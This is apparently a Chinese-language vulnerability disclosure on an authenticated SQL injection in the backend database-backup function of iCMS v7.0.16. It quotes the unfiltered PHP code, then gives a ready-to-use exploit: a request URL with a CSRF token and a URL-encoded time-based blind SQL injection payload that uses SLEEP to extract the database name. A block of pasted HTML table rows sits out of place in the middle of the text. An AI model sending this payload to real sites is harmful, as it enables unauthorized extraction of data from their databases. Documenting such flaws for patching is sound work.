

iCMS内容管理系统v7.0.16后台存在SQL注入漏洞

分析

在 `app/database/database.admincp.php` 中第59行的函数,其接收参数

```
public function do_batch() {  
    $tableA = (array) $_POST['table'];  
    $tableA OR iUI::alert("请选择要操作的表");  
    $tables = implode(',', $tableA);  
    $batch = $_POST['batch'];  
    switch ($batch) {  
        case 'backup':  
            $this->do_savebackup();  
            break;  
        case 'optimize':  
            $this->optimize($tables);  
            break;  
        case 'repair':  
            $this->repair($tables);  
            break;  
    }  
}
```

将其传入do_savebackup函数当中, 之后又调用bakupdata函数

```
284         $result->close();  
285     } else {  
286         $query = mysql_query( query: "SELECT * FROM $tabledb[$i] $limit");  
287         $fnum = mysql_num_fields($query);  
288         while ($datadb = mysql_fetch_row($query)) {  
289             $start++;  
290             // $table = str_replace(iPHP_DB_PREFIX, 'iCMS_', $tabledb[$i]);  
291             $table = $tabledb[$i];  
292             $bakupdata .= "INSERT INTO $table VALUES(" . " " . addslashes($datadb[0]) . " " . "  
293             $tempdb = '';  
294             for ($j = 1; $j < $fnum; $j++) {  
295                 $tempdb .= " , " . addslashes($datadb[$j]) . " " . "  
296             }  
297             $bakupdata .= $tempdb . ");\n";  
298             if ($this->sizelimit && strlen($bakupdata) > $this->sizelimit * 1000) {  
299                 break;  
300             }  
301         }  
302         mysql_free_result($query);
```

其未对参数进行过滤, 这里我测试了很多方式为成功, 最终采用时间盲注最终成功, 以下是利用exp, 需要先后台登录在备份处抓包获取token(这个token几乎永久有效)

<input type="checkbox"/>	192	x2_questionanalysis	0	0 B	1 KB	1 KB	2021-04-20 10:30:20	2021-04-20 10:30:20	utf8_general_ci	
<input type="checkbox"/>	193	x2_questionrows	0	0 B	1 KB	1 KB	2021-04-20 10:30:20	2021-04-20 10:30:20	utf8_general_ci	
<input type="checkbox"/>	194	x2_questions	3431	982.2 KB	274 KB	1.23 MB	2021-04-20 10:30:20	2021-04-20 10:30:22	utf8_general_ci	
<input type="checkbox"/>	195	x2_questtype	7	184 B	3 KB	3.18 KB	2021-04-20 10:30:22	2021-04-20 10:30:22	utf8_general_ci	
<input type="checkbox"/>	196	x2_record	0	0 B	1 KB	1 KB	2021-04-20 10:30:22	2021-04-20 10:30:22	utf8_general_ci	
<input type="checkbox"/>	197	x2_reply	0	0 B	1 KB	1 KB	2021-04-20 10:30:22	2021-04-20 10:30:22	utf8_general_ci	
<input type="checkbox"/>	198	x2_sections	1	32 B	7 KB	7.03 KB	2021-04-20 10:30:22	2021-04-20 10:30:22	utf8_general_ci	
<input type="checkbox"/>	199	x2_seminar	1	1.77 KB	9 KB	10.77 KB	2021-04-20 10:30:22	2021-04-20 10:30:22	utf8_general_ci	
<input type="checkbox"/>	200	x2_seminar_content	0	0 B	1 KB	1 KB	2021-04-20 10:30:22	2021-04-20 10:30:22	utf8_general_ci	
<input type="checkbox"/>	201	x2_seminar_elem	5	4.88 KB	4 KB	8.88 KB	2021-04-20 10:30:22	2021-04-20 10:30:22	utf8_general_ci	
<input type="checkbox"/>	202	x2_seminar_layout	6	2.55 KB	4 KB	6.55 KB	2021-04-20 10:30:22	2021-04-20 10:30:22	utf8_general_ci	
<input type="checkbox"/>	203	x2_seminar_tpls	10	5.21 KB	3 KB	8.21 KB	2021-04-20 10:30:22	2021-04-20 10:30:22	utf8_general_ci	
<input type="checkbox"/>	204	x2_session	1	224 B	5 KB	5.22 KB	2021-04-20 10:30:22	2021-04-20 12:00:34	utf8_general_ci	
<input type="checkbox"/>	205	x2_subject	1	112 B	2 KB	2.11 KB	2021-04-20 10:30:22	2021-04-20 10:30:22	utf8_general_ci	
<input type="checkbox"/>	206	备份表	2	616 B	10 KB	10.6 KB	2021-04-20 10:30:22	2021-04-20 10:30:22	utf8_general_ci	
<input type="checkbox"/>	207	优化表	3	100 B	5 KB	5.1 KB	2021-04-20 10:30:22	2021-04-20 10:30:29	utf8_general_ci	
<input type="checkbox"/>	208	修复表	0	0 B	1 KB	1 KB	2021-04-20 10:30:22	2021-04-20 10:30:22	utf8_general_ci	

exp

```
http://url/admincp.php?
app=database&do=batch&frame=iPHP&CSRF_TOKEN=3cfb4dca8dpX4182a1TYB-1seCEnHJ6UF-
Qb4-AE3omRfhnySxZzo1f49RhqX2q--m6HAq9BDawCgIxxVozSy390rhRevbwxjHZ34J0
```

post数据

```
table%5B%5D=dux_article%20WHERE%205830%3D5830%20AND%20%28SELECT%204647%20FROM%20
%28SELECT%28SLEEP%282-
%28IF%28ORD%28MID%28%28IFNULL%28CAST%28DATABASE%28%29%20AS%20NCHAR%29%2C0x%20%29%
29%2C5%2C1%29%29%3E96%2C0%2C2%29%29%29%29%29sYJr%29--
%20sTre&sizeLimit=2048&batch=backup
```